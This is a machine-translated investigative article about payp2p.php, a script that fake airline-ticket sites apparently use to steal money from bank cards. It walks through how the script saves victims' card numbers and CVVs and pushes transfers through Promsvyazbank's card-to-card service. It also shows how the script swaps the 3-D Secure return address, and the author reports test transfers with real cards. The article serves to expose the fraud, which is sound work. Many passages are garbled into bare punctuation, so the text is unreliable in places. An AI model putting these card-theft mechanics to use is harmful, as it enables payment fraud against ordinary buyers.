廉价航班...欺诈网站从信用卡中窃取资金的网络。第二次调查。Promsvyazbank与它有什么关系?



大约一个月前,我在Geektimes上发表了一篇文章,“便宜的机票……或者一个欺诈性网站从卡中窃取钱财的网络。我的调查。” 该出版物收到了很大的反响,并且出乎意料地继续...

让我提醒您那些还没有阅读第一部分的人。在一个基于实际案例的出版物中,描述了一些计划,利用这些计划,欺诈者从不计后果地进入虚假机票销售网站的机票购买者的机票中窃取金钱。在RuNet中,此类用于出售机票的欺诈站点的数量为数十(包括关闭)。在此类站点上,首先会向用户显示有关航班的真实信息,建议您下订单并用信用卡付款。一切看起来都很美,直到机票购买者发现他们没有钱也没有票。

在所有发现的情况下,这些网站都利用银行的服务来窃取金钱,从银行到银行(P2P)进行转账。在第一部分中,详细描述了如何伪装Tinkov银行从卡到卡付款的页面并将其嵌入到欺诈性网站中,以使“买方”什么也没注意到的机制。还提到了Promsvyazbank-在他描述的故事中,正是通过他,受害人卡中的钱被盗。如果TKS银行没有问题,那么就Promsvyazbank而言,如何提取这笔钱还不清楚。用于窃取金钱的主要脚本是在服务器端执行的,没有源代码,人们只能假设它在做什么。

Geektimes的一位用户联系了我,并发送了非常有效的payp2p.php脚本,该脚本最近在大多数欺诈性机票销售网站上都使用过。此脚本使用Promsvyazbank服务在卡之间进行转移。在我看来,Promsvyazbank提供的服务易于愚弄,这为Internet诈骗者数量的增长做出了贡献。

可能还有其他类似的银行,但是该出版物将主要针对Promsvyazbank。

在开始分析脚本本身之前,让我们看一下欺诈性网站的付款页面是什么样的,以及从卡到Promsvyazbank卡的转换页面是什么样的。

看起来像欺诈网站上的付款页面
在分析此付款页面的HTML代码时,我没有找到任何银行页面的任何部分,没有使用内置的iframe,根本没有使用脚本,并且页面本身非常简单,看起来不像Promsvyazbank的页面。输入到表单中的数据不是通过脚本检查的,而是通过浏览器内置的机制进行检查的,其中使用“ pattern”和“ required”属性作为输入输入字段和选择下拉列表。即即使存储在本地驱动器中的浏览器中的页面也保持“可操作”状态,可用于测试如何截取地图数据。本出版物使用了先前保存的类似页面,以了解脚本的工作原理。

实际上,此页面只是用于输入卡号的表格。确认表单后,处理将转移到payp2p.php程序。

<form class="b-card-feature-list clearfix" id="formPay" action="payp2p.php" method="post">

Payp2p.php可以做任何事情。她的代码以前在我们的服务器上不可用,因为它在服务器端运行。但是正如我已经写过的那样,现在我们有了代码,我们将了解一切。

现在,让我们看看Promsvyazbank网站上不同卡的付款页面的外观。

https://www.psbank.ru/Personal/eCommerce/Card2Card


如您所见,Promsvyazbank页面根本不像之前显示的付款页面。甚至卡号的输入字段数也不匹配。

让我们看一下PSB页面的HTML代码,以了解其工作原理。我们需要知道的只是以下几行:

<iframe name="card2card" src="https://3ds.payment.ru/P2P/card_form.html" height="100%" width="100%" frameborder="no" seamless scrolling="no">
</iframe>

这意味着实际的付款页面位于不同的域,并且我们在Promsvyazbank网站上看到的内容使用iframe技术显示在“窗口”中。

我想知道谁拥有3ds.payment.ru域。
Whois.

3ds.payment.ru
IP 193.200.10.116
: PRSBM-NET
:
inetnum: 193.200.10.0 - 193.200.10.255
netname: PRSBM-NET
mnt-by: PROMSVYAZBANK-MNT

C online.payment.ru



3ds.payment.ru域也属于Promsvyazbank。我们会记住该域,在说明中仍然可以多次找到它。

让我们看看Promsvyazbank嵌入其网站(可能还有其他一些网站)的页面是什么。

https://3ds.payment.ru/P2P/card_form.html


这是一个真实的页面,用于从卡到卡的传输。如您所见,该页面是无边界的。这样做是为了使在其他站点中构建更加方便。

在此页面的HTML代码中,我们对该部分感兴趣:



这些是用于存储服务信息的隐藏输入字段。我们还将记住此页面。以及将在何处使用它。

入门部分已经结束,让我们继续进行最有趣的部分,看看payp2p.php脚本如何工作或如何工作。

该脚本很简单,不需要任何PHP编程语言的深入了解就可以理解。为了方便起见,我将其分成几部分。左侧是可以引用的行号。脚本的接收形式完全不变。在每段代码之后,将提供程序执行期间的解密和变量值的示例(即类似于调试的内容)。在某些地方,可能会出现过多的注释-这样做是为了使非编程读者也可以理解程序代码的含义。

为了进行测试,我们需要一个表格,您需要在其中输入用于付款的卡数据。我们将使用之前保存的表格。文章开头的图片显示了欺诈性网站上的表单的外观。关于表格将在下面进一步写。为了进行测试,请输入卡号1111.2222.3333.4444。

让我们开始吧。



第3行-不执行任何命令。
第4行-加载了一个单独的dbconfig.php文件,其中存储了用于连接MySQL数据库的参数。 dbconfig.php代码及其分析的屏幕截图如下。
第6行-连接到MySQL服务器,然后在数据库中存储有关被盗卡和转帐的数据。该行同时连接到MySQL服务器,如果由于某种原因连接失败,则退出程序。
第11行-选择用于MySQL数据库的编码。
第13行-我们之前已连接到MySQL服务器,现在我们选择要使用的数据库。

受骗用户在类似于常规在线支付页面的页面上填写表格后,payp2p.php脚本开始工作。通过单击表单上的“付款”按钮,payp2p.php脚本将接收在表单中输入的数据。从表单到脚本的数据使用POST方法传输。

第16行-在上一页表格中输入的信用卡号将保存到$ num变量中。
第17行-卡有效期的月份/年份存储在$ date变量中。
第18行-卡的CVV代码保存到$ cvv变量中。
第19行-在$ code变量中,在下达“机票订单”时会提前生成某些代码。使用此代码,以便用户可以通过特殊链接查看其订单。相同的代码用于标识订单(在付款页面上,以自动显示付款金额;如果诈骗者在保存到“销售账簿”时将其保存;此代码也可能作为转移标识符传输到付款表单中,请参见下文)。
第21-22行行形成了-一个SQL查询,然后执行该查询。SQL查询在表“卡”中添加订单标识符,金额,卡的有效期,卡的CVV代码以及确切的当前时间的值。下面是数据库中记录的示例。

调试信息示例


« » « ». , . .

"âáèâ" = '' ISO8859-1 =>Windows-1251
, . .

暂时将我们的注意力暂时移到dbconfig.php文件。



这是用于连接数据库的参数。有趣的是:

DBHOST — , MySQL ( MySQL , , )
DBNAME —
DBUSER — MySQL
DBPASS — MySQL
SECURE_AUTH_KEY — - . , , , . .



第28行-连接了第三方aviacfg.php文件。这是一个存储收件人卡号和其他设置的配置文件。
第29行-根据配置文件中用换行符分隔的卡号创建一个数组。
第30-31行-变量$ crd随机分配了一张卡的数量。

让我们看看aviacfg.php文件中包含的内容



在这里,我们看到变量$ aviacfg是一个数组,其中包含折扣(折扣)和卡(期望提款的卡号)的值。在此示例中,只有一个卡号,但可以有任意多个。文件名(aviacfg.php)和变量($ aviacfg)本身指示该脚本的锐化区域。折扣值确定了一个欺诈性网站上的价格所占的百分比,该价格将比“诚实”机票网站上的实际价格便宜。欺诈性网站的所有者可以迅速降低所显示门票的价格。显示的价格越低,潜在的购买者之一就越有可能在不熟悉的网站上冒险购买门票。关于折扣,稍后将对代码中的确切实现方式进行评论。



此外,转账金额,转账到的卡号以及识别欺诈性网站上机票订购的代码存储在MySQL数据库中。下面将介绍数据库中的记录示例。

调试信息示例




第40行-为变量$ p112分配了一个值,该值带有在表格中较早输入的卡号。
第41-51行-卡号分为四位数。
第53-57行-检查卡号的长度。如果卡号中的字符数不同于16或18,则退出。一条消息显示五秒钟,然后重定向到另一页。在此示例中,退货将返回到欺诈网站上的订单页面。
在转换编码ISO8859-1 => Windows-1251的第56行“ Iaaa?Iua aaiiua ea?Ou”中,对应于文本:“无效的卡数据”。
第58-61行-为变量$ p4,$ p5,$ p6,$ p11分配了在表格中较早输入的值(卡到期日期,CVV代码,付款金额)。
第63行-在变量$ info中,保存了所有卡数据和转账金额。形成时,换行符为“ \ n”,并使用分隔符“ ### ...”。此变量不在其他任何地方使用。完成脚本后,它可以用于将记录保存在常规文本文件中或在调试期间显示。

调试信息示例




66-75行-实际上是27-36行的重复。再一次,从aviacfg.php配置文件中随机选择接收者卡,所有这些都保存在card_balance数据库表中。因此,在card_balance表中,每次尝试转移时,都会创建两个记录。如果在随机抽样的情况下,如果aviacfg.php中仅阻塞了一张收件人卡,则始终会选择同一张卡。在这种情况下,card_balance表中的条目将被简单地复制。但是,如果aviacfg.php中堵塞了多个卡号,则随机抽样的结果将有所不同,并且card_balance表中将有一个记录,第一个是错误的,第二个是正确的。

这是一个错误,脚本的购买者(对此会有单独的评论)可能会要求开发人员赔偿与实际翻译量至少比日志条目少两倍的事实有关的道德损失。

调试信息示例


示例MySQL数据库条目
. : «card» «card_balance». , .

, , — . .

«card».



«card_balance».


请注意,在第一种情况下,MySQL数据库表中仅存储没有金额但有确切时间的发卡人,在第二种情况下,将保存有关进行的传输的数据(更确切地说是有关尝试传输的数据)。收件人的卡号和金额已保存,发件人数据未保存在第二张表中。在这两种情况下,都将额外存储“订单ID”。

上面描述的脚本的第一部分可以任意地称为“销售帐簿中的条目”。她与资金转移无关。要转移资金,您可以不将数据保存到数据库中而进行操作。但是,我们看到卡中的数据已保存,这意味着将来可以在“手动模式”下使用它们来从卡中窃取钱财。可以出售或使用卡数据,例如,用Yandex.Direct支付广告费用,如前一篇文章所示。

脚本的第二部分涉及通过Promsvyazbank 3ds.payment.ru网站进行的资金转移。



注释的第78行指出,假设成功付款的确认页面的地址为“ /sus.php?cd=BX3FKT”。如果成功,则必须将用户返回到该地址。

80-91行为了进​​行翻译,您必须首先进入服务页面。

https://3ds.payment.ru/cgi-bin/get_trans_cond_p2p


该页面显示如下内容:

{"ORDER_NUM":"20161027070425023400","TIMESTAMP":"20161027070425"}

“ ORDER_NUM”是〜“订单号”,“ TIMESTAMP”是当前时间戳。如果刷新页面,则始终发布新数据。

要读取网页或将数据发送到网页,请使用curl命令。 Curl(cURL)允许您使用各种协议(包括http和https)以编程方式连接到Web服务器。在我们的情况下,curl是一个软件Web浏览器,可以将网页保存为变量。存储在变量中的页面与该页面的HTML源代码很长的一行。您可以像处理任何字符串一样使用此类字符串变量-您可以搜索文本,替换文本等。所描述脚本中的Curl将被多次使用。

第80行-URL存储在$ login_url变量中。
第81行-URL存储在$ agent变量中。
第82行-初始化cURL会话。
第83-90行-为具有CURL的会话设置参数(页面地址先前存储在$ login_url中;浏览器标识符先前存储在$ agent中;页面被重定向或以其他方式引用的页面; REFERER; COOKIE设置等)
第91行- curl_exec命令的结果是,将以编程方式获取网页,该网页将保存在$ page变量中。
第93-95行保存的网页$页面包含〜“订单号” ORDER_NUM,存储在变量$ ord中。
第96-98行保存的$页面网页包含TIMESTAMP时间戳记,该时间戳记存储在$ tim变量中。

调试信息示例




现在,需要进入“软件浏览器”页面https://3ds.payment.ru/P2P_ACTION/card_form.html。这是同一个付款页面,其屏幕截图如上所示。这是带有表单的页面,其部分服务字段被隐藏。上面显示了带有隐藏输入字段的部分HTML代码。需要记住这些隐藏字段的一些值,以便以后在提交表单时使用它们。

第99行-我们将页面地址保存到变量$ url中。
第100行-设置了带有URL的会话的参数(在这种情况下,仅页面地址。其余设置保持不变)。
101-102行先前使用的变量$ page和$ part被删除。
第103行-curl_exec命令的结果是,将以编程方式获取一个网页,该网页将保存在$ page变量中。
第104-106行保存的$页面网页包含TERMINAL字段的值,该字段存储在变量$ term中。
107-109行保存的$页面网页包含TRTYPE字段的值,该值存储在$ type变量中。
110-112行保存的$页面网页包含MERCHANT字段的值,该字段存储在$ merch变量中。
第113-115行保存的$页面网页包含EMAIL字段的值,该字段存储在$ ml变量中。

通常,以指示形式的这些值永远不会改变。它们可以作为常量保存在代码中,而不是每次都被接收。显然,获取这些字段的值是为了增加安全性,以防将来某个时候某个或多个字段发生更改。

一些字段的描述。您可以在Google中轻松找到所有字段的完整说明。

TERMINAL-出口虚拟终端的唯一编号
MERCH_NAME-
销售点的名称MERCHANT-银行分配的出口编号
TRTYPE-请求的交易类型(付款-1,取消-22,预授权-0,完成结算-21)
电子邮件-电子邮件地址发送警报

调试信息示例

, - . ($page)

在这里发电子邮件,这是一个史诗般的案例。谁在乎,本文结尾处的扰流器下有关此EMAIL的其他材料。



在这里,我们看到一个大块。它看起来很大的事实是由于出版物中的列宽有限以及脚本作者可以方便地显示代码。所有相同的内容都可以放在10行代码中,但是会影响读取和编辑代码的便利。

第120行-在变量$ url中保存页面的地址。
第121-123行-为带有URL的会话设置参数。
第124行-根据接收者的卡号在字符串变量$ crd中创建了一个$ ncrd数组,该数组将包含卡号的一部分,分为四部分。
第125行-HTTP标头存储在$标头数组变量中。
第126行-为带有CURL的会话设置参数(来自$ headers变量的HTTP标头。
第135-164行-创建了$ postL数组,其每个值将对应于付款页面上的表单字段(发件人卡号,除以四;发件人卡的到期日期) ;发件人的CVC卡;四向收件人卡号;收件人的卡到期日期;收件人的CVC卡;付款金额;“订单号”;确认页面的说明;终端号码;销售点名称;通知电子邮件;时间戳记;发件人的卡号未分解;收件者的卡号未分解;“发件人的计算机上”软件和硬件上的数据,旨在创建真实用户的外观,而不是脚本)。
第135行-为具有CURL的会话设置了参数(HTTP POST请求中传输的数据。在这种情况下,$ postL数组将转换为url编码的字符串,例如'p1=val1&p2=val2&...'

更清晰地传输的数据显示在屏幕快照中,其中包含以下调试信息。

调试信息示例




第166行-curl_exec命令的结果是,准备好的数据将使用POST方法发送到网页表单。对于网页,这样的提交看起来与普通用户在普通浏览器中填写并确认表格完全相同。将数据发送到表单的页面将保存在变量$页面中。
第167行-cURL会话结束。
第168行-在结果页中,该页存储在变量$页面中,并且正如我们所记得的那样,它是一长行,将搜索子字符串“ Error”。
第169-173行-如果找到子字符串“错误”,则在5秒钟内显示错误消息“卡不适合”,然后脚本退出并将浏览器中显示的页面重定向到“订购页面”。如果用户坚持不懈,那么他可以再次尝试执行付款过程。

出现任何错误时显示的页面。



银行发出错误的原因可能有所不同(卡号错误,资金不足,授权错误等)。但是对于脚本payp2p.php来说没有什么区别。付款失败后,这意味着用户将被重定向到您可以重复尝试付款的页面。返回错误的页面可以根据任务轻松更改。

如果发生错误,银行页面返回的示例HTML代码
<!DOCTYPE html>

<head>
<base href="/">
<script src="/netcetera/netcetera.js"></script>
<script src="/riskminder-client.js"></script>
<script>
    function redirect(rctext, ext_diag_code){
	if (rctext == "Call your bank"){
		window.top.location = "http://www.psbank.ru/Card2Card/CallYourBank";
	} else if (rctext == "Your card is restricted"){
		window.top.location = "http://www.psbank.ru/Card2Card/ForbiddenTransaction";
	} else if (rctext == "Your card is disabled"){
		window.top.location = "http://www.psbank.ru/Card2Card/BlockedCard";
	} else if (rctext == "Invalid amount" || rctext == "Error in amount field" || rctext == "Wrong original amount"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectAmount";
	} else if (rctext == "Re-enter transaction"){
		window.top.location = "http://www.psbank.ru/Card2Card/Retry";
	} else if (rctext == "Expired card"){
		window.top.location = "http://www.psbank.ru/Card2Card/ExpiredCard";
	} else if (rctext == "Not sufficient funds"){
		window.top.location = "http://www.psbank.ru/Card2Card/InsufficientBalance";
	} else if (rctext == "Exceeds amount limit"){
		window.top.location = "http://www.psbank.ru/Card2Card/AmountOverlimit";
	} else if (rctext == "Exceeds frequency limit"){
		window.top.location = "http://www.psbank.ru/Card2Card/QuantityOverlimit";
	} else if (rctext == "Error in card number field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectNumber";
	} else if (rctext == "Error in card expiration date field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectExpiresDate";
	} else if (rctext == "Error in currency field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectCurrency";
	} else if (rctext == "Authentication failed" && ext_diag_code == "AS_FAIL"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectPassword";
	} else if (rctext == "Authentication failed" && (ext_diag_code == "NS_ATTEMPT" || ext_diag_code == "S_ATTEMPT" || ext_diag_code == "ATTEMPT" || ext_diag_code == "UNAVAIL")){
		window.top.location = "http://www.psbank.ru/Card2Card/3DSFailure";
	} else {
		window.top.location = "http://www.psbank.ru/Card2Card/TechReasons";
	}
   }
</script>
</head>
<body onload="netcetera_set_DID('');redirect('Authentication failed','BIN_ERROR')">
</body>
</html>


银行付款时报告错误的调试信息示例


第174行-如果付款时发生错误,如果脚本之前没有退出,则表示一切正常。在先前保存在变量$页面中的页面中,所有具有该地址的子字符串都将替换为一个https://3ds.payment.ru/cgi-bin/cgi_link地址类型为mydomain.ru/sus.php?cd = ... 字符串-这是欺诈网站上页面的地址,如果付款成功,用户必须访问该页面。(在这样的页面上,可以向用户表示感谢并告知他们已经通过邮件发送了电子票证)。替换子字符串后,结果存储在变量$ pp中。

第175行-$ pp变量显示在浏览器中。由于变量$ pp是带有页面完整HTML代码的字符串,因此用户将看到某些页面。显示的页面与银行提供的原始页面在外部没有差异-差异仅在替换链接的地方的HTML代码内。

那么,银行在输入正确的卡号的情况下会显示什么页面,并且脚本会用该页面替换指向欺诈性网站上成功付款页面的链接?毕竟,可能仍然应该有来自发送银行的3D安全支票,这将不允许付款?该代码以最有趣的地方结束,并且怀疑如果没有其他棘手的脚本,表格等,它就可以工作。

. - . . .

我将银行卡号插入aviacfg.php文件。如果可以的话,我会尝试接受转让。我打开以前保存在磁盘上的表单页面。当访问其中一个欺诈站点时,此表单只是保存在浏览器中,而在撰写出版物的第一部分时,该站点仍然有效。该表格已经被保存了2915卢布,但是对于测试来说实在太多了。让我们改变它。无论采用哪种形式,都有可见和隐藏的字段。隐藏字段(输入,选择)与普通字段没有什么不同,除了它们不可见。这些字段用于存储用户不需要查看的服务信息。输入字段以两种方式隐藏。

  • CSS ( display:none). , (input), , ( DIV) input.
  • — , type=«hidden». type=«text».

在我们的情况下,使用type =“ hidden”隐藏表单字段。

我们在浏览器F12中按下(Web开发模式)。在HTML代码中找到正确的位置,然后将两个或多个输入元素的text type =“ hidden”更改为type =“ text”。现在,我们看到存储和和服务代码(代码)的字段。从2915rub减少到20rub。现在,在表格中输入第二张银行卡的数据。如果可以进行转帐,则应从该卡中扣款。



我们通过点击“付款”按钮来确认表格。单击按钮后,将启动payp2p.php脚本,该脚本接收输入到表单中的数据。

令我惊讶的是,输入真实卡号并单击测试表格上的“付款”按钮后,我在屏幕上看到Sberbank(进行转帐的银行)页面,要求我输入3D Secure确认代码。



同样在我的手机上,我收到了来自Sberbank的短信,其中包含代码。



在使用有效的信用卡进行测试之前,我假设为了确认3D安全代码,必须以某种方式将其“诱骗”给用户,然后以编程方式秘密地将3D安全确认转移到此表格。但是,事实证明一切都简单得多。从卡到卡的转帐数据发送到Promsvyazbank网站后,浏览器将显示从中进行转帐的卡发卡行的形式。就我而言,这是储蓄银行。此表格甚至不需要伪造。确认表格显示在Sberbank HTTPS网站上。欺诈者的受害者自己直接以他们熟悉的这种形式输入确认码。此后,如果转帐通过,则将借入款项。尽管从理论上讲可以对这种转移提出抗议,但离将钱退还的事实相去甚远。退款的可能性受许多因素影响,包括“受害者”向银行申请的速度。

Sberbank给出的页面的HTML代码以确认扰流板下的3D Secure。该代码是在测试过程中通过将变量$ page写入文本文件而获得的。payp2p.php脚本的第166行。

行替换之前的3D安全HTML页面代码
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
</HEAD>
<BODY ONLOAD="javascript:OnLoadEvent();">
<FORM ACTION="https://acs3.sbrf.ru:443/acs/pa?id=QAB6XaYQTRm-t_6DHVnp2Q" METHOD="post" NAME="ThreeDform" target="_self">
<input name="PaReq" type="hidden" value="eJxVUmFPgzAQ/SuE966lY2iWo4aJOl1mcG7TfTK1VCCOwkpR9u9tJ3P6pbn37nLv+u7gsiu3zqdQTVHJ0PUG2HWE5FVayCx0V8ubswv3ksIyV0LET4K3SlCYi6ZhmXCKNHSTaCF24+doErywzeNyUZ7p1yCermVNHl0KhzSFXoCa/gMC6AhNJ8VzJjUFxneTuwfqYzLC54B6CKVQdzHFGAfYI8TH/pB4GNAPDZKVgl5Fi5jYx0meJtHDbLBYATpkgFet1GpPA38I6AigVVuaa12PEaqbNyY/BqoFZFlAp4GS1kaN6dIVKZ2pgu2f41s565JNs84SKbL9+z0bbXkIyFZAyrSgBHuBhz3fwcGYjMZDo3vggZVWnnojbMbvAdRWI/qb+cuAcVuZZRznPyIQXV1JYSqMlb8xpKLhVBf8Q2inZnsjbAlAp49cTa3PXBvrSKp1rqOvbZJVs/VXdPuez7vdZj59uw6t+4ciK1QYx7xz63kPANk2qF8s6m/BRP9u5BtPwMYZ">
<input name="MD" type="hidden" value="161732779-506DEA0AD5677154">
<input name="TermUrl" type="hidden" value="https://3ds.payment.ru/cgi-bin/cgi_link">
</FORM>
<SCRIPT>
function OnLoadEvent () 
{
  document.forms[0].submit();
}
</SCRIPT>
</BODY>
</HTML>

页面的HTML代码替换了扰流板下的部分文本。该代码是在测试期间通过将变量$ pp写入文本文件而获得的。payp2p.php脚本的第174行。

替换字符串后的3D安全HTML页面代码
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
</HEAD>
<BODY ONLOAD="javascript:OnLoadEvent();">
<FORM ACTION="https://acs3.sbrf.ru:443/acs/pa?id=QAB6XaYQTRm-t_6DHVnp2Q" METHOD="post" NAME="ThreeDform" target="_self">
<input name="PaReq" type="hidden" value="eJxVUmFPgzAQ/SuE966lY2iWo4aJOl1mcG7TfTK1VCCOwkpR9u9tJ3P6pbn37nLv+u7gsiu3zqdQTVHJ0PUG2HWE5FVayCx0V8ubswv3ksIyV0LET4K3SlCYi6ZhmXCKNHSTaCF24+doErywzeNyUZ7p1yCermVNHl0KhzSFXoCa/gMC6AhNJ8VzJjUFxneTuwfqYzLC54B6CKVQdzHFGAfYI8TH/pB4GNAPDZKVgl5Fi5jYx0meJtHDbLBYATpkgFet1GpPA38I6AigVVuaa12PEaqbNyY/BqoFZFlAp4GS1kaN6dIVKZ2pgu2f41s565JNs84SKbL9+z0bbXkIyFZAyrSgBHuBhz3fwcGYjMZDo3vggZVWnnojbMbvAdRWI/qb+cuAcVuZZRznPyIQXV1JYSqMlb8xpKLhVBf8Q2inZnsjbAlAp49cTa3PXBvrSKp1rqOvbZJVs/VXdPuez7vdZj59uw6t+4ciK1QYx7xz63kPANk2qF8s6m/BRP9u5BtPwMYZ">
<input name="MD" type="hidden" value="161732779-506DEA0AD5677154">
<input name="TermUrl" type="hidden" value="http://p2p.localhost/sus.php?cd=BX3FKT">
</FORM>
<SCRIPT>
function OnLoadEvent () 
{
  document.forms[0].submit();
}
</SCRIPT>
</BODY>
</HTML>

简而言之,在“ 3D安全”页面的HTML代码(在此示例中,来自Sberbank)中:

<input name="TermUrl" type="hidden" value="https://3ds.payment.ru/cgi-bin/cgi_link">

以编程方式更改为:

<input name="TermUrl" type="hidden" value="http://p2p.localhost/sus.php?cd=BX3FKT">

替换字符串是在检查3D安全代码后发件人的发卡银行应返回用户的页面地址。在脚本替换该行之前,将Promsvyazbank网站指定为寄信人地址。脚本替换了该行之后,欺诈站点上的某些页面已被指示为寄信人地址。

我不完全了解替换寄信人地址的确切时间,但是可以正常工作。那时,当浏览器显示Sberbank的https页面并要求输入3D安全代码时,如果您在浏览器中查看页面的源HTML代码,则没有指向任何站点的返回地址。该页面的HTML代码的长度超过400行,与上述Sberbank响应页面的HTML代码完全不同,后者是通过将变量$ page(第166行)和$ pp(第174行)写入磁盘来捕获的。

如果输入了错误的3D安全代码,Sberbank在其页面上将显示一条消息,提示该代码不正确,然后发送另一条SMS。输入正确的代码后,它将立即重定向到付款站点或替换站点。也就是说,很可能重定向到支付站点本身意味着从Sberbank到所有必需的程序都已完成。这里的Sberbank作为测试示例。也可以通过另一家银行进行转帐。



从“购票者”的角度来看,它看起来像这样。买方以预先准备的付款方式输入其卡号。之后,几乎立即会显示3D安全代码确认页面,并且会出现带有确认代码的SMS。使用HTTPS协议,浏览器中的3D安全页面显示在买方发卡行的银行网站上。带有用于输入卡号的表格的页面可能看起来可疑,但是银行网站上的3D Secure确认不会引起任何疑问或怀疑。

顺便说一下,请注意Sberbank 3D Secure页面“说明”行中的签名“票务费”。此签名在payp2p.php脚本中设置。在以后的示例中,我们将尝试对其进行更改。

让我们回到测试。

我在Sberbank页面的SMS中输入了代码,然后单击“发送”按钮后,收到一条警告,提示数据将通过不安全的连接发送。



确认我同意通过不安全的连接发送数据后,我被重定向到/sus.php?cd=…



页面,这是返回页面。返回地址在脚本中设置。在这种情况下,找不到页面。但原因很明显-返回页面未事先准备。

尽管目标几乎实现了,但卡与卡之间的资金确实没有通过。没有额外的短信,其中包含付款被拒收等信息。

我决定第一次尝试失败的原因是本地站点(localhost)使用不安全的http连接,而Sberbank站点使用安全的HTTP协议。 Http和https彼此不太友好。顺便说一下,这解释了为什么出版物第一部分中描述的欺诈性站点尽管使用了最简单的证书也使用了安全的https连接。

为了验证此假设,我必须在本地站点上配置https协议。为此,创建了一个本地p2p.localhost域和一个自签名证书。结果,带有测试脚本的新地址开始看起来像这样:

https://p2p.localhost/payp2p.php

此外,在脚本中更改了输入3D安全代码后应返回到的页面的地址。返回页本身也已准备好。

我们正再次尝试通过可通过https协议运行的本地网站进行付款。

首次连接时,浏览器自然会发誓配置错误的安全连接。这是由于我们拥有一个自签名证书。



由于证书的来源是已知的,因此我们将其添加到例外中。



仅此而已。现在,通过https建立连接,并且从Sberbank网站切换时,警告消失。



输入3D安全代码后,将正确返回到专门准备的页面。



一切都正常,只是金钱并没有真正作用。结果,我不得不测试和搜索几天,这可能是原因。

我只有一部分欺诈性机票网站上使用的文件。在发送给我的文件中,有一个payment.php文件。这类似于上面解析的脚本。从代码来看,它的创建可能不是为了欺骗“战斗站点”上的访客,而是为了由程序员开发人员测试通过3ds.payment.ru服务从一张卡转移到另一张卡的可能性。这不太可能,但是从理论上讲,在欺诈网站的早期版本中,它不仅可以用于测试。

我尝试使用替代的payment.php脚本进行付款,并且付款在第一次通过。确认付款成功的唯一内容是显示在3ds.payment.ru网站上。我决定,由于该脚本有效,因此有可能找到说明(payp2p.php)中第一个脚本不起作用的原因。



剧透下的完整脚本代码payment.php

.

payment.php和payp2p.php脚本之间的差异描述
. .

payp2p.php POST . payment.php GET . , , :

https://p2p.localhost/payment.php?card_1=1111&card_2=2222...&cvc=999...&price=30...

, « ».

Payment.php payp2p.php MySQL. . .

Payment.php . , . , payp2p.php , , payment.php . TERMINAL=24043210, MERCH_NAME=PSB, MERCHANT=000601224043202, EMAIL=lakhtin%40psbank.ru, TRTYPE=8 ( TRTYPE . payp2p.php ).

— payment.php https://3ds.payment.ru/cgi-bin/is_3DS. {"IS_ACTIVE":"Y"} , ( 3D Secure).

. payment.php . , 3ds.payment.ru.

… , Firefox, «» payment.php («Firefox/3.0.3»), , , , . , 3.5 Firefox 2009 , 4 Firefox 2011, payp2p.php , «Firefox/38.0», 2016 — Firefox 49.

然后尝试以工作脚本为基础,修复由于某种原因而无法正常工作的payp2p.php脚本。已经尝试了各种选择。所有可能以某种方式影响工作的代码段都从工作脚本转移到了不工作的脚本。除其他外,还尝试了与的附加中间连接https://3ds.payment.ru/cgi-bin/is_3DS。更改,打开和关闭cURL选项等。没有任何帮助,石花没有出来。

后来,在测试过程中,决定在最后阶段关闭payp2p.php中的重定向。之后,可以从Promsvyazbank读取错误消息。错误的屏幕截图。在尝试付款失败后,浏览器中会显示另一个页面,但是如果您单击“返回”一次或多次,则可以看到此页面。


:

, .

: / (/)
, , /

在Promsvyazyazbank网站等上,每天使用一张卡付款的次数有一些限制。尽管我没有超过实际付款次数的限制,但是由于我的尝试次数很多,有可能在某些阶段未进行付款。 (为了在调试期间捕获变量的值,我多次启动了付款过程,但没有完成)。我不知道此消息的确切原因。每次尝试支付ORDER_NUM和TIMESTAMP都会使用一个新尝试。它们不应该影响这种错误的出现。尽管我用来付款的卡,但是一次成功的付款却通过另一种payment.php脚本进行了,也许发件人或收件人的卡都进入了停用清单。

payp2p.php脚本已经有点像其原始状态。我自己开始感到困惑,因为我替换了什么而没有替换。因此,我将其恢复为原始形式,除了在最后几行中禁用了重定向到成功付款页面的重定向。以后尝试使用的发送者和接收者的卡号是新的。

最终,在payp2p.php的帮助下,付款成功。



请注意“描述”行中的签名。

输入3D Secure确认代码后,返回Promsvyazbak页面:



收到SMS。在汇款人银行的左侧。在收款人银行的右边。



出于某些原因,Sberbank在SMS时间GMT中指示。以前,我在此银行的邮件中没有注意到这一点。

在禁用返回页面替换的情况下,多次使用脚本payp2.php重复成功付款。

我试图用其他卡付款。每家银行都发行其3D安全表格。但这并没有改变本质。





请注意,并非所有银行的确认表中都包含“附加说明”。在我们的示例中,“机票付款”。

不必适应每个银行的页面。尽管形式不同,但替代形式相同。付款后的任何表格均包含指向您要返回页面地址的链接。提供3D安全验证表的银行本身很可能不会返回“左侧站点”。当然,有一些规则,并且3DS验证表中的银行应至少返回到接收付款请求的同一域。 (在我们的情况下,请访问3ds.payment.ru)。如果密码输入正确,银行将验证3D安全代码,该页面的html代码中指出了必须返回的地址,但它无法控制是否要返回此页面。

作为所有实验的结果,可以通过在Promsvyazbank 3ds.payment.ru的卡与卡之间的转移服务获得payp2p.php脚本进行支付。同时,我不得不在脚本的最后几行禁用返回地址的替换。当您像原来的脚本一样打开返回页地址的欺骗功能时,目前确实没有钱。系统显示“ 3D安全验证”页面;发送带有“密码”的短信;输入错误密码后,验证表单不会跳至下一步;输入正确的“密码”后,重定向到伪造页面,但钱没有通过。

伪造返回页地址以成功付款对于欺诈性网站而言是非常重要的部分。如果“机票购买者”不怀疑自己受骗了,那么他可以支付的不是一次而是多次购买的机票,而且在很长一段时间(几天和几周)之后,他不会采取任何主动行动取消付款等。如果购买者在“支付机票”之后收到了从卡到卡的转移的确认,那么他极有可能不会下一次付款,他将求助于银行,并且可能更快地向警察求助。这意味着欺诈性站点上的现金流减少了,取消过去付款的可能性增加了,执法机构和托管员工开始提早采取行动,并且没有时间将偷来的资金提取到安全的地方的可能性增加了。

毫无疑问,这个脚本是在作战欺诈网站上使用的。我有理由相信它以提供给我的形式起作用。目前,它的功能有限(无重定向)。

